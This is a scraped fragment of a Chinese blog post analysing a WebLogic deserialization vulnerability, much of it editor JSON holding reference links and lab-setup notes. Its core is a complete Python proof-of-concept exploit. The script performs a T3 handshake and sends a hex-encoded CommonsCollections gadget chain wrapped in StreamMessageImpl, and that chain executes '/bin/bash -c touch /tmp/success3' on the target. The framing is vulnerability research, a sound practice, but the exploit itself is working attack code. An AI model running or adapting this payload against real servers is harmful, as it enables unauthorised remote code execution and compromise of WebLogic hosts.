da9ec0279f2a04&#34;,&#34;initialSize&#34;:{&#34;width&#34;:704,&#34;height&#34;:1300},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLIT-1673940711109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6Sw-1673940711110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6aX-1673940701477&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;width&#34;:705,&#34;height&#34;:491},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;initialSize&#34;:{&#34;width&#34;:705,&#34;height&#34;:1382},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01zo-1673861449893&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NonR-1673861449892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dU1v-1673575967334&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sl9B-1673575967332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考文章：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQ5l-1673575720108&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZl9-1673575720107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;qpLh-1673575948943&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zRvk-1673575948942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vqad-1673575948944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n1fj-1673577318648&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTAT-1673577318646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;q9D8-1673577319028&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UrP6-1673577319027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LcXy-1673577319029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rynN-1673575952755&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6dR-1673575952752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;eXpr-1673575953055&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cY3-1673575953054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h2uO-1673575953056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqwR-1673575959748&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lAcW-1673575959746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;9rNx-1673575960046&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hFJs-1673575960045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgeu-1673575960048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNWq-1673575964381&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWgC-1673575964378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Ns7j-1673575964739&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://wjlshare.com/archives/1573&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qxIl-1673575964738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://wjlshare.com/archives/1573&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6eF-1673575964740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLif-1673947585247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOpO-1673947585245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;2mKY-1673947585794&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYfr-1673947585793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vq2F-1673947585795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p><span style="font-size: 15px;">为方便调试稍微改了一下weblogicScaner的poc:<span style="display: none;line-height: 0px;">‍</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> binascii</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> socket</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> struct</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> subprocess</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> time</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> multiprocessing.managers <span class="code-snippet__keyword">import</span> SyncManager</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> typing <span class="code-snippet__keyword">import</span> Any, Dict, List, Mapping, Tuple, Union</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> stars <span class="code-snippet__keyword">import</span> target_type, Star</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">light_up</span><span class="code-snippet__params">( dip, dport, force_ssl=None, delay=<span class="code-snippet__number">1</span>, timeout=<span class="code-snippet__number">5</span>, *args, **kwargs)</span> -&gt; (bool, dict):</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># T3协议握手</span></span></code><code><span class="code-snippet_outer">        dport = int(dport)</span></code><code><span class="code-snippet_outer">        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span></code><code><span class="code-snippet_outer">        sock.settimeout(timeout)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:</span></code><code><span class="code-snippet_outer">            sock.connect((dip, dport))</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span> socket.timeout:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">False</span>, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;connection timeout.&#39;</span>}</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span> ConnectionRefusedError:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">False</span>, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;connection refuse.&#39;</span>}</span></code><code><span class="code-snippet_outer">        sock.send(bytes.fromhex(</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;</span>))</span></code><code><span class="code-snippet_outer">        time.sleep(delay)</span></code><code><span class="code-snippet_outer">        sock.recv(<span class="code-snippet__number">1024</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># 构造T3协议头</span></span></code><code><span class="code-snippet_outer">        data1 = <span class="code-snippet__string">&#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;</span></span></code><code><span class="code-snippet_outer">        data2 = <span class="code-snippet__string">&#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;</span>.format(</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;{:04x}&#39;</span>.format(dport))</span></code><code><span class="code-snippet_outer">        data3 = <span class="code-snippet__string">&#39;1a7727000d3234322e323134&#39;</span></span></code><code><span class="code-snippet_outer">        data4 = <span class="code-snippet__string">&#39;2e312e32353461863d1d0000000078&#39;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> d <span class="code-snippet__keyword">in</span> [data1, data2, data3, data4]:</span></code><code><span class="code-snippet_outer">            sock.send(bytes.fromhex(d))</span></code><code><span class="code-snippet_outer">        payload = <span class="code-snippet__string">&#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;</span></span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># -------- 经StreamMessageImpl封装的反序列化利用链payload --------</span></span></code><code><span class="code-snippet_outer">        payload += <span class="code-snippet__string">&#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;</span></span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># ------------------------------------------------------</span></span></code><code><span class="code-snippet_outer">        payload += <span class="code-snippet__string">&#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;</span></span></code><code><span class="code-snippet_outer">        payload = <span class="code-snippet__string">&#39;%s%s&#39;</span> % (<span class="code-snippet__string">&#39;{:08x}&#39;</span>.format(len(payload) // <span class="code-snippet__number">2</span> + <span class="code-snippet__number">4</span>), payload)</span></code><code><span class="code-snippet_outer">        sock.send(bytes.fromhex(payload))</span></code><code><span class="code-snippet_outer">        time.sleep(delay)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:</span></code><code><span class="code-snippet_outer">            res = sock.recv(<span class="code-snippet__number">4096</span>)</span></code><code><span class="code-snippet_outer">            print(res)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">b&#39;weblogic.jms.common.StreamMessageImpl&#39;</span> <span class="code-snippet__keyword">in</span> res, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;finish.&#39;</span>}</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span> socket.timeout:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">False</span>, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;connection timeout.&#39;</span>}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#34;__main__&#34;</span>:</span></code><code><span class="code-snippet_outer">    ip = <span class="code-snippet__string">&#34;127.0.0.1&#34;</span></span></code><code><span class="code-snippet_outer">    port = <span class="code-snippet__number">7001</span></span></code><code><span class="code-snippet_outer">    light_up(dip=ip,dport=port)</span></code></pre></section></article><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1618569636135508" data-s="300,640" style="" data-type="png" data-w="1594" src="https://wechat2rss.xlab.app/img-proxy/?k=4225edff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yXicibcwJ35ggzg4ZdXup4pjE6kD99OSzXOGoUCkF4QKWFZRC8bXvSqcQ%2F640%3Fwx_fmt%3Dpng"/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB90-1673490914896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9etu-1673490914894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFyQ-1673490306271&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWH1-1673490306270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NqCj-1673490309103&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ipCq-1673490309101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;环境搭建&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TMC-1673490962449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kyq5-1673490962448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;搭建环境参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AY3t-1673491068908&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oYuE-1673491068907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;k0LB-1673491048381&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B6nn-1673491048382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAWq-1673491048394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MN0h-1673491025538&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0Ks-1673491025537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ec7-1673491193208&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4894/WEBRESOURCEf4e134824542b9848635f4816e821f7e&#34;,&#34;width&#34;:535,&#34;height&#34;:251},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64Fk-1673491074875&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TyTf-1673491074874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle官网即可下载：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31K6-1673491372095&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Efh2-1673491372094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;G4Lb-1673491398542&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tuui-1673491398541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;21j4-1673491398543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1Qb-1673491377746&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;v